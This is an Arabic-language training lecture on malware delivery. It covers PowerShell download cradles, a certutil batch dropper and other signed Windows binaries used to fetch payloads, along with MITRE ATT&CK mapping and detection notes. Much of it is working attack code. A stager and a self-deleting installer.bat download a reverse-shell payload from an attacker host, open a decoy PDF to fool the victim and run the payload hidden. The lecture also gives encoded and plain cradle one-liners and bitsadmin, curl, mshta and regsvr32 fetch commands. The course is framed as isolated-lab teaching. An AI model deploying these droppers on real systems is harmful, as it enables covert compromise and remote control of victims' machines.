المدة المتوقعة: 3 ساعات المتطلبات السابقة: المحاضرة 2 (طرق التوصيل الأولى: Trojan Binder، HTA، LOLBins)، المحاضرة 3 (بناء الحمولات وتشفيرها) البيئة المخبرية: جهاز Kali Linux (المهاجم) + Windows 11 24H2 VM (الضحية) في شبكة معزولة NAT/Host-Only فقط تحذير قانوني: كل ما في هذه المحاضرة للتعليم الدفاعي في بيئة معزولة. تشغيل أي من هذه الحمولات على جهاز لا تملكه أو لا تملك إذناً كتابياً باختباره = جريمة سيبرانية في كل دول العالم.

📖 تعليمات القراءة

• النص الأساسي بالعربية يُقرأ من اليمين إلى اليسار.
• كل مربعات الأكواد بالإنجليزية وتُنسخ كما هي (LTR).
• المصطلحات التقنية داخل الجمل العربية تبقى بالإنجليزية داخل علامات backtick مثل: PowerShell، certutil، MOTW.
• كل حالة APT مذكورة مع السنة واسم الحملة، وكل ثغرة مذكورة مع رقم CVE.
• الرموز: — 🧪 معمل عملي — ⚠️ تحذير أمني أو تشغيلي — ✅ مُتحقق منه على Windows 11 24H2 في 2026 — 🎯 نقطة تعليمية جوهرية

🗂️ جدول المحتويات

• القسم 0، من أين نكمل؟ جسر من المحاضرتين 2 و 3
• القسم 1، إطار MITRE ATT&CK: اللغة المشتركة للدفاع
• القسم 2، الطريقة ❶ PowerShell Download Cradle
• القسم 3، الطريقة ❷ Batch Dropper مع certutil
• القسم 4، الطريقة ❸ ISO Container و "عام الـ ISO 2022"
• القسم 5، الخريطة الكاملة: خمس طرق × MITRE ATT&CK
• القسم 6، أين يقع "Drive-by Download" في التصنيف؟
• القسم 7، لمحة عن المحاضرة القادمة: استغلال Adobe Reader
• القسم 8، الواجب والتحضير المخبري

القسم 0القسم 0: من أين نكمل؟ جسر من المحاضرتين 2 و 3

في المحاضرة الثانية بنينا ثلاث طرق توصيل:

1. Trojan Binder، ربط ملف .exe خبيث مع ملف شرعي (لعبة، صورة .jpg مزوّرة الأيقونة).
2. HTA File، ملف HyperText Application يعمل خارج sandbox المتصفح ويُشغّل VBScript/JScript.
3. LOLBins بصيغتها الأولى، استخدام mshta.exe كطريقة تشغيل ثنائية موقّعة من Microsoft.

في المحاضرة 1 بنينا payload.exe، reverse shell كامل بـ C++ Winsock (WSAStartup → socket → connect → CreateProcess("cmd.exe") مع stdin/stdout مربوطة بالـ socket). عند تشغيله يتصل عكسياً بـ nc -nlvp 4444 على جهاز المهاجم. المسار الفعلي على قرصنا: /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe.

في المحاضرة 2 غلّفناه داخل Trojan Binder مع decoy.pdf كطُعم بصري. الملف الناتج Report.pdf.exe عند النقر:

1. يستخرج decoy.pdf إلى %TEMP% ويفتحه للضحية (يرى PDF عادي، لا يشك بشيء).
2. يستخرج payload.exe إلى %APPDATA%\Microsoft\Windows\Update\wmupdate.exe ويشغّله مخفياً بـ CREATE_NO_WINDOW.
3. الـ payload يتصل بـ nc listener على المهاجم → shell.

🎯 قاعدة ذهبية للمحاضرة كلها: الطرق الثلاث الجديدة تستخدم نفس payload.exe ونفس decoy.pdf، الشيء الوحيد الذي يتغيّر هو الحاوية والآلية. النتيجة النهائية في كل مرة:

victim double-click  →  decoy Report.pdf opens on screen  +  payload.exe runs hidden  →  attacker's nc -nlvp receives shell

في هذه المحاضرة نُضيف ثلاث طرق توصيل جديدة، أكثر تطوراً وأكثر شيوعاً في هجمات 2020–2026 الحقيقية:

بعدها نُقدّم إطار MITRE ATT&CK، اللغة المشتركة التي يستخدمها كل مدافع في العالم لوصف هذه الهجمات، ونرسم خريطة كاملة للطرق الخمس التي درسناها حتى الآن.

🎯 الفكرة المحورية للمحاضرة: كل طريقة توصيل هي مزيج من ثلاثة محاور مستقلة:

• كيف تصل البايتات إلى الضحية (البريد، الويب، USB)؟
• ما الذي يجعل الكود يعمل فعلاً (نقرة مزدوجة، ثغرة، لصق أمر)؟
• ما شكل الحمولة على القرص/في الذاكرة (.exe، سكربت، حاوية)؟

خلط هذه المحاور الثلاثة هو أكبر خطأ يقع فيه المبتدئون، وسنُعالجه صراحةً في القسم 6.

✅ اختبر نفسك: القسم 0

قبل الانتقال للقسم التالي، تأكّد أنك تستطيع الإجابة بدون العودة للنص:

1. أين يقع ملف payload.exe على القرص؟ ماذا يفعل بالضبط عند تشغيله؟
2. ما الأمر الذي تشغّله على Kali لالتقاط اتصال الـ reverse shell (بالرقم منفذاً)?
3. ما الفرق بين "طريقة التسليم" و"شكل الحمولة" (Axis A و Axis C)؟ اذكر مثالاً على كل منهما.
4. لماذا نحتاج طرق توصيل جديدة أصلاً، ما مشكلة Report.pdf.exe من المحاضرة 2 وحده؟

إذا لم تستطع الإجابة على 3 من 4، أعد قراءة القسم قبل المتابعة.

القسم 1القسم 1: إطار MITRE ATT&CK: اللغة المشتركة للدفاع

1.1 من هي MITRE؟

MITRE Corporation ليست شركة تجارية ولا جهة حكومية، بل منظمة غير ربحية أُسّست عام 1958 كفرع مستقل عن MIT Lincoln Laboratory. تُدير عدداً من مراكز البحث والتطوير الفيدرالية (FFRDCs) لصالح الحكومة الأمريكية (وزارة الدفاع، FAA، NIST، DHS/CISA، مجتمع الاستخبارات).

هذا الحياد المؤسسي هو ما جعل مُخرجاتها مقبولة عالمياً، لا يوجد بائع منتج أمني يستطيع الادّعاء أن ATT&CK مصمّم لصالح منافسه.

مسؤوليات MITRE في الأمن السيبراني تشمل:

• CVE (منذ 1999)، قائمة الثغرات المُعلنة.
• CWE، تصنيف أنواع نقاط الضعف البرمجية.
• CAPEC، أنماط الهجمات على التطبيقات.
• ATT&CK، سلوك الخصم في الاختراق (موضوع هذا القسم).
• D3FEND، الإجراءات الدفاعية المقابلة.

الموقع الرسمي: <https://www.mitre.org> و <https://attack.mitre.org>

1.2 ما معنى ATT&CK؟

ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge تُكتب بالعامودية ATT&CK (بعلامة &)، وتُنطق ببساطة "attack".

بدأت المشروع عام 2013 كتجربة داخلية في MITRE اسمها FMX (Fort Meade eXperiment)، شبكة موصّاة بالحسّاسات، هدفها دراسة ماذا يفعل المهاجم فعلاً بعد اختراق الجهاز (ما بعد الاختراق)، وليس فقط كيف دخل.

أُطلقت للعامة مجاناً عام 2015، ونمت من التركيز على Windows Enterprise لتشمل:

• Enterprise، Windows, macOS, Linux, Cloud (Azure, AWS, GCP, O365, Google Workspace, Containers, Network).
• Mobile، Android, iOS.
• ICS، Industrial Control Systems (SCADA, PLC, HMI).

الإصدار الحالي في 2026 هو v15+، ويصدر تحديث كبير مرتين سنوياً.

1.3 لماذا وُجد ATT&CK؟

قبل ATT&CK كان النموذج الأشهر هو Lockheed Martin Cyber Kill Chain (2011)، سبع مراحل خطية (Recon → Weaponization → Delivery → Exploitation → Installation → C2 → Actions on Objectives). المشاكل:

• خطي جداً، الاختراقات الحقيقية تدور في حلقات وتقفز بين المراحل.
• متحيّز للمحيط، يركّز على "الدخول"، ويهمل ما بعد الاختراق.
• خشن جداً، Exploitation كخانة واحدة تخفي آلاف السلوكيات المختلفة.
• ليس لغة مشتركة، محلّلان يصفان نفس الحادثة بمصطلحات مختلفة.

ATT&CK يحلّ هذا بتقديم تصنيف تجريبي على مستوى السلوك. حين يقول محلّل T1059.001 يعرف كل مدافع في العالم أن الحديث عن إساءة استخدام PowerShell للتنفيذ.

1.4 البنية: الطبقات الخمس

Tactic (لماذا؟)                    TA0002 — Execution
  └── Technique (كيف عموماً؟)      T1059  — Command and Scripting Interpreter
        └── Sub-Technique (كيف بالضبط؟)  T1059.001 — PowerShell
              └── Procedure (مثال حقيقي)  APT29 used powershell.exe -enc ...

1.5 التكتيكات الأربعة عشر لـ Enterprise

بترتيب حدوثها عادة في الاختراق (مع ملاحظة أن الأرقام غير متسلسلة لأنها تعكس تاريخ إضافتها للإطار):

المصفوفة الكاملة: <https://attack.mitre.org/matrices/enterprise/>

1.6 كيف تقرأ صفحة تقنية؟

كل صفحة على attack.mitre.org تتبع نفس البنية. خذ T1059 كنموذج:

1. ID والاسم في الأعلى: T1059 — Command and Scripting Interpreter.
2. الشريط الجانبي (Metadata): — Sub-techniques (العدد والروابط) — Tactic(s)، الخدمة (Execution) — Platforms، Windows / macOS / Linux / Network — Permissions Required، Data Sources، Version، Created / Last Modified
3. Description، شرح مبسّط.
4. جدول Sub-techniques، الفروع.
5. Procedure Examples، من استخدم هذه التقنية فعلاً (مجموعات + برمجيات) مع الاستشهادات.
6. Mitigations، الضوابط الدفاعية (كل واحدة برقم M، مثلاً M1038 Execution Prevention).
7. Detection، كيف تكتشفها، مربوطة بـ Data Sources (مثل Process: Process Creation).
8. References، استشهادات مُرقّمة بمصادرها.

1.7 أداة Navigator

ATT&CK Navigator أداة مجانية داخل المتصفح لتلوين المصفوفة كخريطة حرارية:

• الرابط: <https://mitre-attack.github.io/attack-navigator/>
• الاستخدامات: — خريطة تغطية، أخضر لما تكشفه أدواتك، أحمر لما لا تكشفه. — تراكب مجموعة تهديد، إظهار تقنيات APT29 فقط. — تحليل الفجوة، مقارنة "ما يكشفه EDR" مع "ما يفعله الخصم".
• الطبقات (Layers) ملفات JSON قابلة للحفظ والمشاركة والدمج.

1.8 كيف تربط هجوماً بـ ATT&CK؟

خطوات قابلة للتكرار، علّمها لنفسك مبكراً:

1. اجمع المصدر، تقرير حادثة، سلسلة أدلة جنائية، مخرج sandbox.
2. فكّك النشاط إلى سلوكيات منفصلة، جملة واحدة لكل فعل.
3. لكل سلوك، اسأل "لماذا؟" → اختر التكتيك.
4. ثم اسأل "كيف؟" → اختر التقنية / الفرعية.
5. سجّل تفاصيل الإجراء (procedure) الحقيقي المُشاهد.
6. راجع، هل يمكن لمحلّل آخر أن يصل لنفس النتيجة من مخرجاتك؟
7. انشرها كطبقة Navigator ليستخدمها الآخرون.

دليل CISA + MITRE الرسمي: <https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping>

1.9 الأدوات ذات الصلة (لتوضيح الحدود)

✅ اختبر نفسك: القسم 1

1. ماذا تعني هذه الاختصارات: TA0002, T1059, T1059.001؟ اذكر تكتيك، تقنية، سُبتقنية.
2. لماذا استبدل ATT&CK نموذج Cyber Kill Chain؟ اذكر عيبَين على الأقل.
3. ما هو ATT&CK Navigator، وما فائدته للمدافع؟
4. في أي سنة أُطلق ATT&CK للعامة؟ ومن أي مشروع داخلي في MITRE؟
5. إذا رأيت S0154 في تقرير threat-intel، ما معناها وأين تجد صفحتها؟

جوابك ≥ 4/5 = تابع. أقل = راجع الجداول 1.4 و 1.5 و 1.6.

القسم 2القسم 2: الطريقة ❶ PowerShell Download Cradle

2.1 ما هو PowerShell أصلاً؟

PowerShell لغة برمجة نصية (shell + scripting language) طوّرتها Microsoft، تختلف عن cmd.exe جوهرياً لأنها مبنية على .NET وتُمرّر كائنات (objects) بين الأوامر بدلاً من نصوص عادية.

خط زمني مختصر:

• 2002، Jeffrey Snover ينشر "Monad Manifesto" مُبرِّراً الحاجة لـ shell جديد على Windows: "Linux يعتبر كل شيء ملف نصي ASCII، بينما Windows يعتبر كل شيء API يُرجع بيانات مُنظّمة"، لذا الأنابيب (pipelines) يجب أن تنقل كائنات لا نصوصاً.
• نوفمبر 2006، إصدار Windows PowerShell 1.0 كتنزيل اختياري لـ XP/Vista.
• 2009، Windows 7 / Server 2008 R2، PowerShell يُشحن مع النظام مدمجاً (in-box). منذ هذه اللحظة، powershell.exe هو LOLBin مضمون على كل نقطة نهاية Windows.
• 2012، PowerShell 3.0، إضافة Invoke-WebRequest و Invoke-RestMethod (صياغة مختصرة iwr | iex).
• 2016، PowerShell 5.0/5.1، إضافة Script Block Logging، AMSI، Constrained Language Mode، أول أدوات دفاعية جدّية.
• 2020، PowerShell 7، إصدار متعدد المنصات مبني على .NET Core، يعمل جنباً إلى جنب مع 5.1 (الافتراضي على Windows).
• 2026، تقاعد Jeffrey Snover رسمياً من Microsoft (يناير 2026).

المرجع: <https://en.wikipedia.org/wiki/PowerShell>

2.2 ما هو الـ Cradle؟

"Cradle" ("مهد") = سطر PowerShell واحد قصير مهمته الوحيدة أن:

1. يفتح اتصالاً بعنوان URL يُسيطر عليه المهاجم،
2. يجلب سكربتاً أكبر بكثير،
3. ويُشغّله في الذاكرة مباشرة دون كتابته على القرص.

اسم "المهد" لأنه صغير ويحمل داخله "الطفل" (الحمولة الفعلية الأكبر). المصطلح تبلور مع إطار PowerShell Empire (2015، Will Schroeder + Justin Warner + Matt Nelson)، ورسّخه Daniel Bohannon عام 2017 بأداته الشهيرة Invoke-CradleCrafter التي تُصنّف أكثر من 10 أنماط cradle مختلفة.

2.3 لماذا يعشقه المهاجمون؟ خمس نقاط:

1. لا شيء على القرص، DownloadString يُمرّر البايتات مباشرة لـ Invoke-Expression. لا يوجد ملف يفحصه AV أثناء الوصول.
2. مقاومة التوقيعات (signatures)، المنطق الخبيث موجود على خادم بعيد يُمكن تدويره كل ساعة؛ على النقطة النهائية يوجد فقط الـ cradle الصغير، ويُمكن إعادة تشفيره لكل ضحية.
3. ثنائي موقّع من Microsoft، powershell.exe موقّع رسمياً وعلى كل قائمة سماح (AppLocker، WDAC الافتراضي)، ومن الطبيعي أن يتصل بالإنترنت (مسؤولو الأنظمة يستخدمونه هكذا).
4. يناسب أي مكان صغير، يدخل في ماكرو Word، حقل .lnk، HTA، Scheduled Task، WMI Event.
5. Living off the Land، يستخدم فقط فئات .NET مضمّنة (System.Net.WebClient، HttpClient، BITS، XMLHTTP). نصيحة CISA AA24-038A لعام 2024 تُشير إلى أن PowerShell يظهر في غالبية حالات الاختراق الموثّقة باستراتيجية LOTL.

2.4 المعمل 🧪: تشغيل ستة أنواع من الـ Cradle

إعداد الخادم (Kali / Ubuntu: جهاز المهاجم)

نستخدم نفس الحمولة من المحاضرة 1: payload.exe (C++ reverse shell)، والطُعم من المحاضرة 2: decoy.pdf.

# نافذة terminal 1 — nc listener يستقبل الـ reverse shell
nc -nlvp 4444

# نافذة terminal 2 — استضف الحمولة والطُعم + سكربت stager
mkdir -p /srv/payloads && cd /srv/payloads

# انسخ الملفين من مجلد المحاضرة 2 (بُنيا سابقاً)
cp /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe .
cp /home/hash-hash/ctf/dev/red-ctf/delivery/decoy.pdf   .

# stager صغير: يُنزّل الاثنين، يفتح PDF للضحية، ويُشغّل payload خفية
cat > x.ps1 << 'EOF'
$pdf = "$env:TEMP\Report.pdf"
$exe = "$env:TEMP\svc32.exe"
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/decoy.pdf',   $pdf)
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/payload.exe', $exe)
Start-Process $pdf                              # يفتح Report.pdf للضحية (غطاء)
Start-Process $exe -WindowStyle Hidden          # يُطلق reverse shell خفية
EOF

# ابدأ خادم HTTP على المنفذ 8080
python3 -m http.server 8080 --bind 0.0.0.0

⚠️ استبدل ATTACKER في كل الأوامر التالية بعنوان IP جهاز Kali داخل الشبكة المعزولة.

النمط 1: Classic WebClient + IEX (النموذج الكلاسيكي: PowerShell v2+)

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/x.ps1')

• القرص/الذاكرة: ذاكرة فقط.
• ✅ في 2026 على Windows 11 24H2: AMSI يفحص السلسلة النصية قبل أن يُصرّفها Invoke-Expression، أي كلمة مفتاحية معروفة (DownloadString، IEX، Invoke-Mimikatz) تُطلق Trojan:PowerShell/PowerSploit.*. قاعدة ASR 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC (Block execution of potentially obfuscated scripts) مُفعّلة افتراضياً وتحظر النمط.
• ملاحظة .NET: Net.WebClient من .NET Framework 4.8.1 القديم، موجود لكن مُميّز كـ legacy، ولا يدعم TLS 1.3 افتراضياً.

النمط 2: النمط المختصر iwr … -useb | iex

iwr http://ATTACKER:8080/x.ps1 -useb | iex

• الذاكرة: فقط.
• ✅ 2026: نفس فحص AMSI. تسلسل الرموز iwr … | iex بحد ذاته توقيع في MpEngine. على PowerShell 7.5 (مشحون مع 24H2 كـ pwsh) يُنشئ حدث 4104 يحتوي على الـ URL الكامل، سهل جداً على أدوات الصيد.
• ملاحظة: -UseBasicParsing هو الافتراضي في PS 7.x ولا معنى له على 5.1 في 24H2.

النمط 3: IWR .Content داخل IEX

Invoke-Expression (Invoke-WebRequest 'http://ATTACKER:8080/x.ps1').Content

• ✅ 2026: نفس مسار AMSI، مع تسجيل ScriptBlock (event 4104) للنص الكامل بعد التنزيل.
• ⚠️ بدون -UseBasicParsing على 5.1 يستدعي IE COM parser وهو الآن مجرد stub على 24H2 (IE أُزيل بالكامل)، يرمي HRESULT 0x80004005.

النمط 4: Base64 -EncodedCommand

powershell.exe -NoP -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AQQBUAFQAQQBDAEsARQBSADoAOAAwADgAMAAvAHgALgBwAHMAMQAnACkA

• ✅ 2026: AMSI يفكّ الترميز قبل التوزيع، الترميز لا يكسب شيئاً. قاعدة ASR الجديدة c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb (Block use of copied or impersonated system tools) تُطلق إنذاراً على powershell.exe -enc عند تشغيله من أب غير تفاعلي (Office، WMI، Scheduled Tasks، mshta).
• خطأ شائع للطلاب: يجب أن يكون UTF-16LE ثم Base64، وليس UTF-8.

النمط 5: DownloadFile إلى %TEMP% ثم Start-Process (يُوصّل payload.exe مباشرة بلا stager وسيط)

(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/payload.exe',"$env:TEMP\svc32.exe"); Start-Process "$env:TEMP\svc32.exe" -WindowStyle Hidden

ملاحظة: هذا النمط لا يفتح الطُعم PDF، الضحية سترى نافذة PowerShell تختفي بلا إشارة بصرية. للطُعم المرئي استخدم Pattern 1 أو Pattern 2 مع x.ps1 أعلاه.

• القرص: يكتب %TEMP%\p.exe.
• ✅ 2026: فحص Defender في الوقت الحقيقي يضربه لحظة إغلاق DownloadFile للـ handle. MOTW يُضاف تلقائياً لأن المصدر منطقة إنترنت، SmartScreen يحظر عند Start-Process. Smart App Control (SAC) على 24H2 المُثبّت جديداً يحظر PEs غير الموقّعة بصمت.

النمط 6: System.Net.Http.HttpClient الحديث

$h=[System.Net.Http.HttpClient]::new(); IEX $h.GetStringAsync('http://ATTACKER:8080/x.ps1').Result

• الذاكرة: فقط.
• ✅ 2026: HttpClient يدعم TLS 1.3 على 24H2 (بينما WebClient لا). .Result يُوقف الـ runspace فيبدو الحمل الطويل كأنه تعليق.

2.5 استخدام حقيقي من APT: بالسنة والحملة

المصادر: <https://attack.mitre.org/groups/G0016/>, <https://attack.mitre.org/groups/G0050/>, <https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-301a>, <https://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/>

2.6 الدفاعات (وكيف يتهرّب المهاجمون منها)

قائمة قواعد ASR الرسمية: <https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference>

2.7 خريطة MITRE ATT&CK لـ PowerShell Cradle

• T1059.001، Command and Scripting Interpreter: PowerShell ← powershell.exe الخارجي.
• T1105، Ingress Tool Transfer ← DownloadString / DownloadFile / iwr.
• T1027، Obfuscated Files or Information (الأب). — T1027.010، Command Obfuscation ← -EncodedCommand، format-operator، backticks.
• T1140، Deobfuscate/Decode Files or Information ← [Convert]::FromBase64String(...).
• T1218، System Binary Proxy Execution ← mshta، regsvr32 عندما يستدعيان PowerShell.
• T1204.002، User Execution: Malicious File ← الماكرو الذي يُطلق الـ cradle.

2.8 السلسلة الكاملة (End-to-End): من ضغطة الضحية إلى الـ shell

┌─── Kali (attacker) ─────────┐        ┌─── Windows Victim ─────────┐
│ Terminal 1: nc -nlvp 4444   │        │ 1. victim runs Pattern 1   │
│ Terminal 2: python -m       │◄───────│    IEX cradle              │
│   http.server 8080          │        │ 2. IEX downloads x.ps1     │
│   يستضيف:                    │        │ 3. x.ps1 downloads:        │
│     x.ps1                   │        │      Report.pdf  (decoy)   │
│     decoy.pdf               │────────►      svc32.exe  (payload)  │
│     payload.exe             │        │ 4. Report.pdf يفتح ✓       │
│                             │        │ 5. svc32.exe يعمل خفية     │
│  ← shell arrives on 4444    │◄───────│ 6. reverse shell connects  │
└─────────────────────────────┘        └────────────────────────────┘

ماذا يرى الضحية: نافذة Adobe/Edge/Chrome تفتح Report.pdf، يقرأه ولا يشك بشيء.

ماذا ترى أنت على Kali:

$ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.0.2.15 49812
Microsoft Windows [Version 10.0.26100.xxxx]
(c) Microsoft Corporation. All rights reserved.
C:\Users\victim>

✅ اختبر نفسك: القسم 2

1. ما الفرق بين DownloadString و DownloadFile؟ أيّهما "fileless" وأيّهما يترك أثراً على القرص؟
2. لماذا Pattern 4 (-EncodedCommand) لا يهرب من AMSI في 2026؟
3. من أين جاءت كلمة "cradle" في مصطلحات PowerShell Empire؟ ماذا تعني تشبيهاً؟
4. اذكر ثلاث مجموعات APT استخدمت PowerShell cradle، مع اسم الحملة والسنة.
5. ما الوظيفة المحددة لسطر Start-Process $pdf في x.ps1؟ لماذا نفتح الطُعم أصلاً؟

3/5 صحيحة = تابع. أقل = راجع الجدول 2.5 والقسم 2.4.

القسم 3القسم 3: الطريقة ❷ Batch Dropper مع certutil

3.1 ما هو ملف .bat؟

Batch file (.bat أو .cmd) = ملف نصي عادي يحتوي أوامر يُنفّذها مُفسّر أوامر Windows (cmd.exe، أو command.com في MS-DOS القديم) سطراً بسطر.

خط زمني:

خواص تُهمّ المهاجم:

• بلا تصريف، بلا توقيع، بلا مُفسّر خارجي، الملف هو البرنامج.
• يعمل بصلاحيات المستخدم المُستدعي، لا UAC عند double-click.
• سهل التشويش، cmd.exe يتحمّل c^ertu^til، %COMSPEC:~0,1%، وحيل for /f.
• صفر telemetry افتراضياً، بدون Sysmon أو 4688 مع cmdline، لا يظهر سوى عملية cmd.exe.

3.2 لماذا certutil.exe هو "أداة التنزيل" المُفضّلة؟

certutil.exe أداة Microsoft الرسمية لخدمات الشهادات، موجودة في %SystemRoot%\System32\ على كل Windows Server منذ 2000 وكل عميل منذ Vista. مهمتها المقصودة: dumping CA config، التحقق من سلاسل الشهادات، نشر CRLs. موقّعة Authenticode من Microsoft.

المشكلة: أضاف مطوّروها بعض "الأعلام المريحة" التي حوّلتها لعميل HTTP عام وكودك base64/hex، وهذه الأعلام هي ما أعطاها مكانها الدائم في مشروع LOLBAS.

الأمران اللذان يعرفهما كل red team:

certutil.exe -urlcache -split -f https://attacker.tld/payload.exe C:\Users\Public\p.exe

certutil -decode payload.b64 payload.exe

الترسانة الكاملة المُوثّقة في LOLBAS:

3.3 أدوات التنزيل LOLBins الأخرى

certutil ليس وحيداً. batch dropper يمكن أن يدور بين أي من هذه الأدوات الموقّعة من Microsoft:

• bitsadmin.exe، CLI لخدمة Background Intelligent Transfer Service، منذ XP:

  textنسخ

  bitsadmin /transfer j /priority foreground https://a.tld/p.exe C:\Users\Public\p.exe

  MITRE: T1197 (BITS Jobs). النقل يستمر عبر إعادة التشغيل ويعمل بحقّ الخدمة لا المُتّصل.

• curl.exe، أُضيف لـ Windows 10 build 1803 (أبريل 2018) وموجود الآن على كل Windows 10/11 و Server 2019+:

  textنسخ

  curl -o C:\ProgramData\p.exe https://a.tld/p.exe

• powershell.exe -c "Invoke-WebRequest ..."، الكلاسيكي (القسم السابق).

• mshta.exe، Microsoft HTML Application host يُشغّل .hta بعيداً مباشرة:

  textنسخ

  mshta https://a.tld/p.hta

• regsvr32.exe، "Squiblydoo" (Casey Smith / subTee, 2016):

  textنسخ

  regsvr32 /s /n /u /i:https://a.tld/script.sct scrobj.dll

  يجلب ويُشغّل COM scriptlet بعيد بلا أثر على القرص.

المخزون الكامل: <https://lolbas-project.github.io/>، يُصنّف الآن أكثر من 200 ثنائي وسكربت ومكتبة.

3.4 المعمل 🧪: بناء dropper batch كامل

إعداد الحمولة على خادم المهاجم (Kali)

# Terminal 1 — nc listener
nc -nlvp 4444

# Terminal 2 — استضف payload.exe و decoy.pdf من مجلد المحاضرة 2
mkdir -p /srv/payloads && cd /srv/payloads
cp /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe .
cp /home/hash-hash/ctf/dev/red-ctf/delivery/decoy.pdf   .
python3 -m http.server 8080 --bind 0.0.0.0

نمط الـ dropper الكنسي: installer.bat (يُنزّل الحمولة والطُعم ويفتح الاثنين)

@echo off
setlocal
set U_EXE=http://ATTACKER:8080/payload.exe
set U_PDF=http://ATTACKER:8080/decoy.pdf
set T_EXE=%TEMP%\svc32.exe
set T_PDF=%TEMP%\Report.pdf

rem 1) نزّل الحمولة عبر certutil (ثنائي Microsoft موقّع)
certutil.exe -urlcache -split -f %U_EXE% %T_EXE% >nul 2>&1

rem 2) نزّل PDF الطُعم بنفس الطريقة
certutil.exe -urlcache -split -f %U_PDF% %T_PDF% >nul 2>&1

rem 3) افتح PDF للضحية (غطاء — يفتحه Adobe/Edge/Chrome)
start "" "%T_PDF%"

rem 4) شغّل الحمولة خفية في الخلفية → reverse shell
start "" /b "%T_EXE%"

rem 5) امسح البصمة — احذف الـ .bat نفسه
(goto) 2>nul & del "%~f0"

تشريح:

• certutil -urlcache -split -f، يجلب الملف من URL قد يُرجع image/jpeg كـ content-type لكنه يُسلّم أي ثنائي (حيلة عدم توافق النوع الشهيرة).
• الاستضافة في %TEMP%، يتجنّب طلبات الكتابة ويبقى في موقع قابل للكتابة ومُفَهرس.
• start "" "%T_PDF%"، يفتح PDF بالتطبيق المُقترن (Adobe/Edge)، الضحية يرى مستنداً شرعياً.
• start "" /b "%T_EXE%"، يُطلق payload.exe منفصلاً، في الخلفية، بعنوان نافذة فارغ → reverse shell إلى Kali.
• (goto) 2>nul & del "%~f0"، الحذف الذاتي: goto بلا لصيقة يخرج، والأمر بعد & يحذف السكربت نفسه.

بعض العائلات تتخطى certutil وتستخدم bitsadmin أو curl أو powershell، الشكل متطابق.

3.5 استخدام حقيقي من APT: بالسنة والحملة

وفق صفحة MITRE ATT&CK لـ certutil (S0160)، المجموعات التالية شوهدت تُسيء استخدام certutil:

استخدام تجاري: ميزة Cobalt Strike's Scripted Web Delivery تُنتج one-liners بـ bitsadmin، powershell، exe، python، النكهات bitsadmin و certutil هي الافتراضية.

3.6 لماذا يُخفق المدافعون؟

• موقّع من Microsoft، كل LOLBin هنا يحمل توقيع Authenticode صالح.
• موجود شرعياً، certutil يعمل يومياً على كل جهاز مضاف للنطاق (MDM، تسجيل الشهادات).
• يمتزج مع نشاط المسؤولين، بدون baseline، الاستخدام الخبيث يبدو ضوضاء.
• فقير التوقيعات، إساءة LOLBin سلوك لا ملف. لا يوجد hash للحظر.
• حجم المشكلة، LOLBAS يُصنّف 200+ ثنائي.

3.7 الدفاعات

قواعد ASR ذات الصلة:

• 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC، Block execution of potentially obfuscated scripts.
• D4F940AB-401B-4EFC-AADC-AD5F3C50688A، Block Office applications from creating child processes (يقتل سلسلة Office → cmd → certutil).
• 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B، Block Win32 API calls from Office macros.
• BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550، Block executable content from email/webmail.

Defender AV أيضاً لديه block سلوكي مدمج يمنع certutil.exe من إنشاء أو تنزيل محتوى قابل للتنفيذ.

كشف Sysmon (Event ID 1):

• Image ينتهي بـ \certutil.exe AND CommandLine يحتوي -urlcache أو -decode أو -decodehex أو -verifyctl.
• ParentImage = cmd.exe AND CommandLine = certutil.exe ....
• مع Sysmon Event 3 (network connection): certutil.exe يتصل بـ IP خارج RFC1918 = مؤشر عالي الثقة على الخبث.

متطلبات تسجيل Windows:

• تفعيل Audit Process Creation → Event 4688.
• تفعيل ProcessCreationIncludeCmdLine_Enabled في GPO (وإلا 4688 بلا command line).
• نشر Sysmon مع config مُنسّق (SwiftOnSecurity أو Olaf Hartong).

3.8 خريطة MITRE

Atomic Red Team يوفّر اختبارات جاهزة: <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md>

3.9 السلسلة الكاملة (End-to-End)

┌─── Kali (attacker) ─────────┐        ┌─── Windows Victim ─────────┐
│ Terminal 1: nc -nlvp 4444   │        │ 1. يحفظ installer.bat      │
│ Terminal 2: python -m       │        │    من مرفق بريد أو ZIP     │
│   http.server 8080          │        │ 2. double-click             │
│   يستضيف:                    │◄───────│ 3. certutil → payload.exe  │
│     payload.exe             │◄───────│ 4. certutil → Report.pdf   │
│     decoy.pdf               │        │ 5. Report.pdf يفتح ✓       │
│                             │────────►      (الضحية يرى مستنداً)   │
│                             │        │ 6. svc32.exe يعمل خفية     │
│  ← shell arrives on 4444    │◄───────│ 7. reverse shell connects  │
│                             │        │ 8. .bat يحذف نفسه          │
└─────────────────────────────┘        └────────────────────────────┘

✅ اختبر نفسك: القسم 3

1. اشرح بجملة واحدة ما الذي يفعله السطر (goto) 2>nul & del "%~f0".
2. لماذا نستخدم certutil بدلاً من مجرد كتابة curl أو powershell -c Invoke-WebRequest؟ اذكر ثلاثة أسباب.
3. اذكر ثلاثة LOLBins بديلة لـ certutil يمكنها تنزيل ملف من HTTP.
4. أي مجموعة APT استخدمت certutil -decode في Operation In(ter)ception 2019؟ ومن نشر التقرير؟
